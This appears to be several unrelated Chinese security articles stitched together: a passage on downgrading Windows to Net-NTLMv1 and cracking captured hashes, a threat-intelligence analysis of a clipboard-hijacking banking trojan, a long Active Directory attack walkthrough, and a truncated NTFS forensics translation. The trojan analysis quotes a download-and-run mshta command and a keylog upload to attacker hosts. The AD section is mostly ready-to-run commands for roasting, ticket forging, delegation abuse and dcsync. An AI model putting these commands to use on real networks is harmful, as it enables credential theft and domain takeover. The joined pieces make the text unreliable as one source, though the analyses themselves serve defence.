填入的格式如下：
`NTHASH:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a`
接着填入邮箱地址，提交后，在很短的时间(1分钟以内)会收到邮件，提示破解成功
参考资料：
<https://crack.sh/netntlm/>
如下图
破解出的ntlm hash为`d25ecd13fddbb542d2e16da4f9e0333d`，用时45秒
使用mimikatz获得该用户的ntlm hash，对比结果相同，如下图
## 0x04 Net-NTLMv1的利用思路
* * *
由于Net-NTLMv1的脆弱性，在控制Challenge后可以在短时间内通过彩虹表还原出用户的ntlm
hash，所以在利用上首选的是将Win7环境下的默认Net-NTLMv2降级到Net-NTLMv1，获取本机的通信数据，还原出ntlm hash，实现工具:
InternalMonologue
下载地址：
<https://github.com/eladshamir/Internal-Monologue>
通过修改注册表使Net-NTLMv2降级到Net-NTLMv1，获得正在运行的用户token，模拟用户同NTLM
SSP进行交互，控制Challenge为固定值`1122334455667788`，导出返回的Net-NTLMv1 response
**注：**
修改注册表需要管理员权限
修改注册表开启Net-NTLMv1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
为确保Net-NTLMv1开启成功，还需要修改两处注册表键值：
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
获得的结果可以通过访问网站<https://crack.sh/get-cracking/，使用免费的彩虹表进行破解，不再赘述>
**优点：**
1. 这种方式不会对lsass.exe进程进行操作
2. 同本地NTLM SSP进行交互，不会产生流量
3. 没有进行NTLM认证，不会产生日志
**补充：**
如果以普通用户权限执行InternalMonologue，能够获得当前用户权限的Net-NTLMv2数据包，通过hashcat进行破解，能获得当前用户的明文口令
如上图，获得Net-NTLMv2的数据包如下：
`a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000`
使用hashcat进行字典破解，参数如下：
`hashcat -m 5600 a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000
/tmp/password.list --force`
成功破解，如下图
## 0x05 防御思路
* * *
自Windows Vista起，微软默认使用Net-NTLMv2协议，想要降级到Net-NTLMv1，首先需要获得当前系统的管理员权限
而对于Net-NTLMv2协议，即使抓到了通信数据包，只能对其进行字典攻击或是暴力破解，破解的概率不是很高
综上，自Windows Vista起，系统默认使用的Net-NTLMv2协议在安全性上能够保证
## 0x06 小结
* * *
本文对Net-NTLMv1的加密方法和破解思路进行了介绍，分析测试了工具InternalMonologue，通过InternalMonologue能在普通用户权限下获得Net-NTLMv2数据，这个功能非常棒。 | 社区文章 |
# 一波盗取俄罗斯用户银行卡资金的定向攻击样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
自从2018年10月25日起，360威胁情报中心连续捕获了多个专门盗窃俄罗斯语用户银行卡资金的定向攻击样本。这批定向攻击样本主要利用微软Office
CVE-2017-11882漏洞配合钓鱼文档进行定向投递：漏洞文档最终释放的木马程序会不断监控用户的系统剪切板，如果发现具有银行账号或者yandex账号的特征，就会把剪切板里的银行账号替换为攻击者的MasterCard（万事达）银行卡账号。一旦用户通过拷贝的方式输入目标银行账号，则会把钱转向攻击者账户。并且木马程序还会下载一个俄罗斯著名的yandex.ru门户网站提供的键盘管理工具Punto
Switcher 3.1，以用于窃取用户的键盘记录，借以躲避杀毒软件的查杀。
## 样本分析
### 执行流程
捕获到的样本的整个攻击流程如下：
### Dropper
360威胁情报中心最初发现的样本是名为логотип.doc的RTF漏洞利用文档，该漏洞利用样本包含一个CVE-2017-11882漏洞的公式对象。漏洞触发后会通过执行mshta
hxxp://xnz.freetzi.com/z.hta 命令来实现加载执行hxxp://xnz.freetzi.com/z.hta上的脚本：
### Downloader
#### z.hta
下载执行的hta文件主要功能如下：
z.hta首先会使用tasklist命令结束winword.ext进程，紧接着判断：
%userprofile%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\Chromeupd.exe文件是否存在，如果不存在则利用Google
Chrome浏览器去下载hxxp://xnz.freetzi.com/1.rar文件：
下载回来的1.rar其实是一个VBS脚本文件，1.rar会被移动到路径：%userprofile%\appdata\roaming\1.vbs，然后使用wscript.exe执行该VBS脚本：
#### 1.vbs
1.vbs脚本执行后会首先下载hxxp://xnz.freetzi.com/1.zip到%APPDATA%/1.zip，接着下载hxxp://xnz.freetzi.com/p.zip
到%APPDATA%/p.zip,并解压到%APPDATA%目录下：
最后把1.zip压缩包里面的1.png移动到启动目录下：
%appdata%\Microsoft\Windows\Start
Menu\Programs\Startup\Chromeupd.exe来实现恶意样本持久化，最后删除1.zip和p.zip和1.vbs文件。
### Backdoor（Chromeupd.exe）
被写入自启动项的Chromeupd.exe是该定向攻击木马的核心功能模块。样本是C#编写的程序，样本运行后会首先注册5个定时器实现其5个主要功能：
1. 监控系统剪切板里可能出现的银行卡账号并替换成攻击者的MasterCard银行卡账号
2. 隐藏程序窗口
3. 安装下载回来的p.png（Punto Switcher 3.1版本，俄罗斯的一个正常的键盘管理工具）
4. 上传键盘管理工具中的diary.dat到hxxp://apz.freetzi.com/upload.php
5. 检查是否需要自删除和是否需要获取新的攻击者的银行卡账号
#### 替换剪切板里可能出现的银行卡账号
其中一个定时器功能会判断当前系统剪切板里面的内容是否是字符串，如果是则判断是哪种类型的账号，然后将其中的账号替换为内置的攻击者账号：
其中的判断规则为：当剪切板中的字符串长度为16，则把这个16位的字符串做Luhn算法（见参考[2]）校验。如果校验通过，则把剪切板中的字符串替换为内置的MasterCard卡号：
而如果剪切板中的字符串长度在10到17之间，且字符串起始数字是410开头，并且字符串全为数字字符串，则试用内置的yandex账号替换：
而对于字符串中有‘-’或‘ ’分割的情况，同样也会做Luhn算法校验，校验通过则替换为内置同样格式的MasterCard卡号：
#### 隐藏窗口
而当2号定时器执行时，则调用hide()函数实现当前窗口隐藏，之后让该定时器失效：
#### 安装下载的p.png(Punto Switcher 3.1版本，俄罗斯的一个正常的键盘管理工具)
3号定时器首先会创建注册表项：Software\\\Yandex\\\Punto
Switcher\\\3.1，并设置Option键值，以用于配置即将要安装的Punto Switcher软件：
接着把%APPDATA%/p.png（第二步1.vbs下载回来的文件）重命名为p.exe后执行。执行30秒后，删除p.exe：
而p.exe是一个自解压文件，里面的包含的文件是Punto Switcher 3.1的应用程序安装文件。该自解压文件运行后，静默安装Punto
Switcher 3.1到%APPDATA%/p/目录下，然后启动%APPDATA%\p\punto.exe：
#### 上传键盘管理工具中的diary.dat文件
定时器4会获取定时器3安装的Punto Switcher
3.1软件目录下的diary.dat文件，并且上传到hxxp://apz.freetzi.com/upload.php ：
#### 检查是否需要自删除和是否需要获取新的攻击者的银行卡账号
定时器5会向hxxp://apz.freetzi.com/terminate发送请求，当返回yes的时候，就遍历进程把进程名为punto和ps64ldr的进程结束，然后再把%APPDATA%/p/目录（Punto
Switcher 3.1的安装目录）删除。最后结束自身进程：
如果返回的不是yes，则请求hxxp://apz.freetzi.com/override_trigger，并检查是否需要替换攻击者的银行卡账号。如果返回yes，则请求hxxp://apz.freetzi.com/override，获得最新攻击者的银行卡账号：
攻击者当前内置的银行卡账号为5106211036145444，内置的yandex账号为410017721321307
## 攻击者信息溯源
360威胁情报中心通过一些公开渠道校验攻击者的银行卡号后得知，攻击者内置的银行账号为MasterCard（万事达卡）Credit
Card，万事达卡（MasterCard）成立于1966年，和VISA并列为全球最大的两大刷卡消费联盟。
通过公开渠道查询攻击者的银行卡账号：5106211036145444，可以得知该卡为万事达信用卡：
## 总结
360威胁情报中心本次监测到的定向攻击并没有发现在国内的受影响者，不过盗号木马类样本一直以来非常活跃，而此次捕获到的盗号木马样本并不会直接盗取用户的卡号/密码，而是通过替换用户剪贴板中的银行卡账号的方式让用户在不知觉中将资金转移到黑客的账户名下。并且还使用了正常软件来获取用户的隐私数据资料，让普通用户很难有所察觉。所以广大用户在银行卡转账前、转账过程中，都要多次确认其账号是否正确。对于电脑里无故增加的软件，也需要十分注意。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻的精确检测。
## IOC
C&C
---
xnz.freetzi.com
apz.freetzi.com
文件MD5 | 描述
---|---
9aca967928da3de8c2ec619026f5fb50 | 诱饵文件名：логотип.doc
bee1d162463eb8b72b0859a43c578d8e | 诱饵文件名：Manual.doc
b324446b9ad4ebc36c4e3d2ab5e964f6 | 诱饵文件名：Лабораторная работа 5.doc
c00dbb7071dd1d75a374b5890c919d77 | Downloader：1.rar（1.vbs）
7740b98568ed72651b300c683dfb61e2 | Backdoor：1.png（Chromeupd.exe）
e4a01e57cb448bb4f6b1fc45c0ae083f | Punto键盘管理工具自解压包：p.png
攻击者账号 | 描述
---|---
5106211036145444 | 攻击者MasterCard账号
410017721321307 | 攻击者yandex账号
## 参考
[1].https://yandex.ru/soft/punto/
[2].https://en.wikipedia.org/wiki/Luhn_algorithm | 社区文章 |
### Rosting AS-REP
使用这个攻击方法需要域控开启“Do not require Kerberos preauthenticaton”，但是这个默认是关闭的。
在AS-REQ阶段，也就是kerberos的第一阶段会要求hash加密的时间戳，如果KDC使用hash解密的时间戳不匹配或者无法解密
kerberos验证就会失败。
但是如果启用“Do not require Kerberos
preauthenticaton”，就不需要进行验证，使用任意存在的用户名向KDC发送请求，KDC就会返回对应的hash加密的数据给我们，随后就可以进行爆破。
开启不需要预验证
使用powerview.ps1查询开启不需要预验证的账号
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -PreauthNotRequired}"
利用ASREPRoast.ps1获取hash
<https://github.com/HarmJ0y/ASREPRoast>
powershell.exe -exec bypass -Command "& {Import-Module .\ASREPRoast.ps1;Get-ASREPHash -UserName sc -Domain alanlitl.com}"
利用Rubeus
Rubeus.exe asreproast
只保存hash，使用hashcat进行爆破，在后添加$23
hashcat.exe -m 18200 sc_hash.txt password.txt
## 横向（TGS-REP）
### kerberoasting攻击
<https://www.cnblogs.com/zpchcbd/p/11707776.html>
#### SPN
##### SPN作用
服务主体名称（SPN）是服务实列（如HTTP，MySQL）的唯一标识
1. Kerberos身份验证就是使用SPN将服务实列与服务登录账户相关联。
2. SPN始终包含运行服务的主机名称，因此服务实列可以为其主机的每个名称或者别名注册SPN。
3. 在整个林或者域䣌计算机上安装多个服务，每个服务都必须有自己的SPN，如果客户端使用多个名称进行身份验证，那么服务也可以有多个SPN。
##### SPN分类
1. 注册在本地机器（Computers）下，当服务权限为Local System或者Network Service时，SPN在Computers下。
2. 注册在域用户（User）下，当一个服务权限为与用户时，则注册在User下。
**注册问题** ：在windows域里面，默认普通本地机器账户可以注册SPN，但是普通域账户不能注册SPN，当一个服务以Local System
account启动时，kerberos就能成功，但是以域用户启动时就不能成功
**解决** ：在域控中将启动账户赋予`read servicePrincipalName 和 Write
serverPrincipalName`权限，或者手动注册SPN（`setspn -S MySQL/web-sc.de1ay.com:3307/MySQL
web`）。
set -S http/<computername>.<domainname> <domainuseraccount>
##### 查看SPN
当前域
setspn -q */*
指定域
setspn -T de1ay.com -q */*
删除SPN
setspn -D MySQL/web-sc.de1ay.com:3307/MySQL
创建用户SPN，不是computer那种
setspn -U xxx
扫描SPN
工具：<https://github.com/nidem/kerberoast>
查询用户注册的SPN
Import-Module .\GetUserSPNs.ps1
cscript .\GetUserSPNs.vbs
工具：<https://github.com/PowerShellMafia/PowerSploit/>
根据不同用户的objectsid返回，结果更加详细。
Import-Module .\PowerView.ps1
Get-NetUser -SPN
#### 利用SPN进行kerberoasting
原理：TGS-REP的数据包中，enc-part使用的是服务的hash加密，由于域内任何用户都可以向域内任何服务请求TGS，知道相关SPN后，可以使用SPN申请TGS
ticket，如果票据使用RC4加密，则可以通过爆破方式获取对应服务用户的密码。
**利用过程**
找到高权限账户SPN
由于本地没有啥SPN，先注册一个SPN
登录一个有注册SPN权限的账户
setspn -U -A MySQL/web-sc.de1ay.com web
-U指定用户账户，-C指定计算机账户，增加、删除SPN的时候最好指定
setspn -q */*
删除SPN `setspn -U -D MySQL/web-sc.de1ay.com web`
如果无法修改SPN可以在域控`adsiedit.msc`中对应用户的SELE属性中开启读取、写入servicePrincipalName权限。
使用GetUserSPN
使用powerview
申请票据
powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/web-sc.de1ay.com"
cmd
powershell.exe -exec bypass -Command "& {$SPNName = 'MySQL/web-sc.de1ay.com'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
一样的两句
mimikatz
kerberos::ask /target:SPNxxx
**使用mimikatz申请票据**
kerberos::ask /target:MySQL/web-sc.de1ay.com:3307/MySQL
**使用Rubeus**.exe，可以直接获取hash，然后使用hashcat爆破
**申请RC4加密票据**
使用`System.IdentityModel.Tokens.KerberosRequestorSecurityToken`申请的票据可能会使用RC4加密，但实际这受到`msDS-SupportedEncryptionTypes`域对象属性影响，`msDS-SupportedEncryptionTypes`（
[微软文档](https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-adts/4f1f447a-4f35-49b1-a129-d76ea280a4c1)）字段的值决定了 Kerberoast
流程中返回的服务票证的加密级别。同时加密方式也收到本地组策略控制，如果在本地组策略中勾选RC4加密，那么不管域控中用户的`msDS-SupportedEncryptionTypes`字段如何设置都将为RC4加密。
**服务** 的`msDS-SupportedEncryptionTypes`字段为 **0x12** ，本地组策略为 **RC4**
加密方式依然为RC4
本地组策略修改为 **未设置** 后，申请的票据加密方式为aes256
cmd下klist 可以看见票据已经得到了
1. **导出票据**
mimikatz::list /export
1. **获取hash**
2. 1. **使用** kirbi2john.py获取票据中的hash
3. 1. 1.
1. **破解hash**
2. 1. **利用** tgsrepcrack.py，这个脚本可以直接破解票据kirbi而不需要转换为hash
3. 1. 1.
4. 1. 使用hashcat：`hashcat.exe -m 13100 hash.txt password.txt --show`
5. 1. 1.
#### 服务票据重写（使用脚本出现一点问题，没有复现成功）
改变用户
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
改变组
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用mimikatz注入票据
kerberos::ptt PENTESTLAB.kirbi
### 白银票据
不同于黄金票据，通过使用服务hash伪造服务票据，只能访问对应服务。
我在windows server 2012 R2复现失败，换成2008成功了
#### 利用条件
域名
域SID
目标服务FQDN
可利用的服务
服务账号的NTLM Hash
伪造用户名
#### 利用过程
1. 先获取hash
获取的是服务的hash，伪造cifs或者ldap之类的一般是主机的hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
1. 伪造票据
伪造cifs和ldap需要主机的hash
通过mimikatz伪造
kerberos::golden /domain:alanlitl.com /sid:S-1-5-21-3389487055-3676497411-292983562 /target:dc.alanlitl.com /rc4:16ec75ab12108ae708f6d6a481f4ca4a /service:ldap /user:test /ptt
1. 获取权限
## 委派
> <https://xz.aliyun.com/t/8690#toc-64>
>
> <https://www.cnblogs.com/secxue/p/14965428.html>
>
> <https://www.cnblogs.com/backlion/p/10537813.html>
>
> <https://my.oschina.net/u/4196756/blog/4911101>
>
> <https://www.cnblogs.com/backlion/p/10537813.html>
>
> <https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw>
委派指用户将权限委派给服务账号，让服务账号能以用户权限开展活动
服务账号是指如MS SQL Server等运行时的账户，这类账户不能用于登录。
委派主要分为三类：非约束委派(Unconstrained delegation)、约束委派Constrained
delegation)、基于资源的约束委派(Resource Based Constrained Delegation)
如果账户设置敏感账户，不能被委派就无法使用委派，administrator默认就是敏感账户。
### 非约束委派
<https://my.oschina.net/u/4196756/blog/4911101>
如果服务开启非约束委派，当用户访问服务时，服务会在lsass进程中保存TGT，然后服务就能利用TGT以用户的身份去访问其它服务。
开启方式：在用户属性中的委派页面开启，配置了非约束委派的账户的userAccountControl
属性有个FLAG位为TRUSTED_FOR_DELEGATION。设置非约束委派需要SeEnableDelegationPrivilege特权，该特权通常仅授权给域管。
**实现方式**
：用户向KDC发起请求获得TGT，然后用户再次向KDC发起请求获取TGT2，访问服务时将TGT，TGT2，ST一起发送给服务，服务在内存中储存TGT2，并且使用这张TGT2向KDC发起请求。获取到ST后向另一个服务发起请求。
#### 收集设置了非约束委派的账号：
##### powerview.ps1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain alanlitl.com | select name }"
但是我下载的脚本没有-Unconstrained参数，换一种
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Domain alanlitl.com | select name,useraccountcontrol}"
收集设置了非约束委派的机器账号：
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetComputer -Domain alanlitl.com | select dnshostname,useraccountcontrol}"
域控默认设置为非约束委派
##### ADfind.exe
非约束委派账号
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派主机
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#### 非约束委派攻击
设web主机为非约束委派
清除票据
使用高权限用户访问web主机
net use \\web\c$
在web主机上导出票据
privilege::debug;sekurlsa::tickets /export
kerberos::ptt xxxxx.kirbi
#### 非约束委派+Spooler打印机服务
<https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>
强制让dc域自己进行认证，从而获取dc票据。 Windows Print System Remote Protocol是MS-RPRN中的一个老旧但是默认的方法，可以让域用户使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification
(Ex)方法强制运行Spooler服务的机器通过Kerberos或者NTLM验证攻击者的目标。
！在windows server 2008下SpoolSampler程序无法运行，换成2012后成功。
需要主机账户开启非约束委派
使用Rubeus监听票据
Rubeus.exe monitor /interval:1 /filteruser:dc$
Rubeus.exe monitor /interval:1 /filteruser:dc$ > 1.txt 将监听到的内容输出到1.txt中方便复制
<https://github.com/leechristensen/SpoolSample>
需要自己编译为exe文件
SpoolSampler.exe DC SC
使用printerbug.py
<https://github.com/dirkjanm/krbrelayx>
python printerbug.py 域/用户名:密码@打印机服务ip 回连ip
python printerbug.py alanlitl.com/web:[email protected] 10.10.10.11
监听到票据
将获取的票据导入，
然后直接使用mimikatz导出域控上的hash
lsadump::dcsync /domain:alanlitl.com /all
如果无法使用Rubeus可以使用mimikatz
使用mimikatz导出所有票据
privilege::debug
sekurlsa::tickets /export
然后导入域控票据
kerberos::ptt xxx.kirbi
dump出域控中的hash
lsadump::dcsync /domain:alanlitl.com /all
制作黄金票据
kerberos::golden /user:administrator /sid:S-1-5-21-3209219484-2126840192-101349831 /krbtgt:2465ff0d094e9bb9cad789eda29643b6 /domain:alanlitl.com /ticket:gold.kirbi /ptt
获取dc权限
### 约束委派
由于非约束委派的不安全性，开启非约束委派就相当于获取了访问它账户的所有用户权限。所以微软引入了更安全的约束委派。约束委派多了两个协议S4U2Self和S4U2Proxy，服务只能获取用户的ST而不是TGT，这样只能去访问对应的服务。开启约束委派的账户userAccountControl属性有个TRUSTED_TO_AUTH_FOR_DELEGATION（开启使用任何身份认证才有），并且msDS-AllowedToDelegateTo属性还会显示能访问的SPN。如果这两个属性没有被赋值，那么KDC不会将其获得的票据设置为可转发。如果获取的ST票据不能转发，那么S4U2Proxy就没有用了。
需要开启使用任何身份验证
首先需要一个服务账号，通过注册SPN可以获得
setspn -U -A MySQL/web.alanlitl.com web
在约束委派中添加该服务即可
#### 约束委派的两个协议
<http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/>
1. S4U2Proxy
当用户使用ST1（可转发）访问service1时，service1可以使用ST1（可转发）向KDC获取一个访问服务B的ST2。
1. S4U2Self
当用户以其他方式访问服务如NTLM，服务就无法向KDC申请访问其他服务的ST，所以S4U2Self就是为了解决这个的。服务向向KDC申请一个“以任意用户访问自己”的可转发TGT，然后利用该协议申请一张“任意用户访问自己”的可转发ST1并设置为可转发（该过程KDC会检验
1.TGT是否可转发 2.服务是否配置约束委派 3.服务是否请求可转发选项），然后就是配合S4U2Proxy，利用ST1获取访问服务B的ST2。
#### 收集设置了约束委派的账号
powerview.ps1
服务账号
需要添加SPN才能在属性中找到委派选项。
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Get-DomainUser -TrustedToAuth -Domain alanlitl.com | select name}"
可以看剧MySQL服务被设置为委派对象
机器账号
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Get-DomainComputer -TrustedToAuth -Domain alanlitl.com | select name}"
ADFind
主机
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
用户
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegatet
#### 约束委派攻击方式
查找设置约束委派的账户，和对应的SPN
可以看到web用户可以获取域控cifs的ST票据。
利用kekeo获取票据
<https://github.com/gentilkiwi/kekeo/>
kekeo的编译有点麻烦，并不能直接编译
**kekeo**
1. 请求TGT
使用ntlm hash申请TGT
tgt::ask /user:web /domain:alanlitl.com /ntlm:xxxxxxxxxxxxx
使用明文 将/ntlm:xxxxx改为/password:xxxx
1. 请求ST
tgs::s4u /tgt:1.kirbi /user:[email protected] /service:cifs/dc.alanlitl.com
1. 使用mimikatz导入票据，就可以访问dc了
**Rubeus**
rubeus在cmd中并不能很好显示，可以在powershell使用
1. 请求TGT
.\Rubeus.exe asktgt /user:web /ntlm:810445cb03214d4b609bf0236836d093
1. 获取ST
Rubeus.exe s4u /ticket:ticket_base64 /impersonateuser:administrator /domain:alanlitl.com /msdsspn:cifs/dc.alanlitl.com /dc:dc.alanlitl.com /ptt
**主机账户的方式是一样的只是使用的hash是主机的hash**
### 基于资源的约束委派
> 这是windows 2012
> R2中新加入的功能，不需要域管配置委派权限，传统的约束委派是在域控上向服务A中添加服务B的SPN，以达到让服务A通过委派访问服务B，而基于资源的约束委派只需要在服务B上通过配置msDS-> AllowedToActOnBehalfOfOtherIdentity属性添加服务A的SPN允许服务A使用委派访问服务B。
能利用的原因：
服务可以利用S4U2Self为任意用户请求自身的服务票据，并且在约束委派中提到过服务账号有个UserAccountControl属性它的值被设置为TRUSTED_TO_AUTH_FOR_DELEGATION时，利用S4U2Self获取的票据才能转发（才能被域控设置为可转发）。但是在基于资源的约束委派中，不可转发的票据仍然可以通过S4U2Proxy转发，并且获取一张访问对应服务的可转发票据。
利用过程：
在sc主机上创建一个主机账户test（主要是得到有个有SPN的账户，而且用户名密码由我们设置），然后将设置sc的基于资源的约束委派为test主机（在sc上添加test的SPN），然后利用test主机申请一张以域管身份访问自身的票据，利用基于资源的约束委派的条件获取一张访问sc的票据，由于该票据是以域管身份发起，所以是以域管权限访问，但是票据只用于sc账户，所以相当于提权。
综上所述，如果我们能够修改msDS-AllowedToActOnBehalfOfOtherIdentity，就可以获得一张域管的票据。但是仅限于访问自己，相当于提权。
#### 利用条件
1. 拥有修改当前机器msDS-AllowedToActOnBehalfOfOtherIdentity属性的账户。
2. 除此之外我们还需要一个具有SPN的账户（我们可以利用上面条件那个账户创建一个机器账户，机器账户会默认注册一些SPN）
查看用户对当前机器用户是否具有权限（如果该机器是使用该用户加入的域，那么就有权限）
Import-Module .\PowerView.ps1
Get-DomainUser -Identity sc -Properties objectsid
Get-DomainObjectAcl -Identity test | ?{$_.SecurityIdentifier -match "SID"}
其中ActiveDirectoryRights属性控制是否可以修改账户属性，GenericAll、GenericWrite、WriteProperty、WriteDacl等都是可以修改的。
**创建机器账户**
<https://gitee.com/RichChigga/Powermad/>
由于域控的ms-DS-MachineAccountQuota属性可以允许域账户（用户账户，服务账户，机器账户）在域里添加10个机器账户，所以可以直接添加机器账户，并且密码由我们自己设置。
创建账户
powershell.exe -exec bypass -Command "& {Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "2313root!" -AsPlainText -Force)}"
查看机器账户
net group "domain computers" /domain
查看当前用户对该机器账户是否具有控制权限
#### 添加基于资源的约束委派
获取test机器账户的SID
Import-Module .\PowerView.ps1
Get-DomainComputer -Identity test -Properties objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3209219484-2126840192-101349831-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Import-Module .\powerview.ps1
Get-DomainComputer sc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
使用Active Directory Explorer
<https://docs.microsoft.com/zh-cn/sysinternals/downloads/adexplorer>
这里是修改sc主机的值，这里的值为O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;test的SID)，同样的也设置好了基于资源的约束委派。
同时我们可以查看机器账户sc的创建者，查看mS-DS-CreatorSID属性，sc机器是由sc域账户加入，所以显示是sc创建的。所以对其有修改权限。
#### 获取票据
计算机器账户test的hash
Rubeus.exe hash /user:test$ /password:2313root! /domain:alanlitl.com
利用rubeus获取票据
这里是利用winrm以域管身份访问主机，当然也可以申请cifs服务票据。
Rubeus.exe s4u /user:test$ /rc4:810445CB03214D4B609BF0236836D093 /impersonateuser:administrator /msdsspn:http/sc.alanlitl.com /ptt
Rubeus.exe s4u /user:test$ /rc4:810445CB03214D4B609BF0236836D093 /impersonateuser:administrator /msdsspn:wsman/sc.alanlitl.com /ptt
使用powershell连接，获取域控权限。
New-PSSession -Name Priv -ComputerName sc.alanlitl.com
Enter-PSSession -Name Priv | 社区文章 |
# 【技术分享】数字取证技术——NTFS更改日志
|
##### 译文声明
本文是翻译文章，文章来源：countuponsecurity.com
原文地址：<https://countuponsecurity.com/2017/05/25/digital-forensics-ntfs-change-journal/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ **华为未然实验室**](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
去年，我写了一系列关于数字取证的[文章](https://countuponsecurity.com/2016/05/30/digital-forensics-ntfs-indx-and-journaling/)。我介绍了进行事件响应时可能有用的不同工件。在这些系列的最后一篇文章中，我介绍了用于存储有关目录中文件的元数据的NTFS
INDX属性，及记录NTFS卷中发生的所有操作的$LogFile元数据文件。这两个工件都可以给研究人员提供关于攻击者活动的大量信息。然而，NTFS中还有一个特殊的文件——名为$UsnJrnl的更新序列号（USN）[日志文件](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363798%28v=vs.85%29.aspx)，该文件中也包含有关发生在NTFS卷上的操作的大量历史信息。
虽然磁盘上会发生不同的文件操作，但在NTFS卷中，更改日志会记录文件创建、删除、加密、目录创建、删除等操作背后的[原因](https://msdn.microsoft.com/en-us/library/aa365722.aspx)。每个卷有一个USN更改日志——自Windows
Vista起默认为启用状态，并被索引服务、文件复制服务（FRS）、远程安装服务（RIS）及远程存储等应用程序使用。不过，应用程序和管理员可以创建、删除及重新创建更改日志。更改日志文件存储在隐藏的系统文件$Extend$UsnJrnl中。[$UsnJrnl](http://forensicinsight.org/wp-content/uploads/2013/07/F-INSIGHT-Advanced-UsnJrnl-Forensics-English.pdf)文件包含两个备用数据流（ADS），$Max和the
$J。$Max数据流包含有关更改日志的信息，如最大大小。$J数据流包含更改日志的内容，包含更改日期和时间、更改原因、MFT条目、MFT父条目等信息。该信息对于调查是有用的，比如，攻击者在组织内活动时为隐藏其踪迹而删除文件和目录的情形下。要获取更改日志文件，你需要对文件系统进行原始访问。
在实时系统上，你可以通过Windows命令提示符以管理员权限运行命令“fsutil usn queryjournal
C:”来检查更改日志的大小和状态。“[fsutil](https://technet.microsoft.com/en-us/library/cc788042\(WS.10\).aspx)”命令也可用于[更改日志的大小](http://faq.attix5.com/index.php?View=entry&EntryID=24)。你还可以使用来自Joakim
Schicht的[RawCopy](https://github.com/jschicht/RawCopy)或[ExtractUsnJrnl](https://github.com/jschicht/ExtractUsnJrnl)等工具从实时系统获取更改日志文件。在这个特定系统中，更改日志的最大大小为0x2000000字节。
现在，我们来快速练习一下如何从磁盘镜像获取更改日志文件。首先，我们使用“mmls”实用程序从磁盘镜像中查看分区表。然后，我们使用The Sleuth
Kit中的“fls”来获取文件和目录列表，并使用grep搜索UsnJrnl字符串。如下图所示，“fls”的输出显示文件系统包含$UsnJrnl:$Max和$UsnJrnl:$J文件。我们对MFT条目号（84621）感兴趣。
接下来，我们使用来自The Sleuth Kit的“istat”命令来看一下条目号84621的MFT记录属性。该MFT条目存储关于$
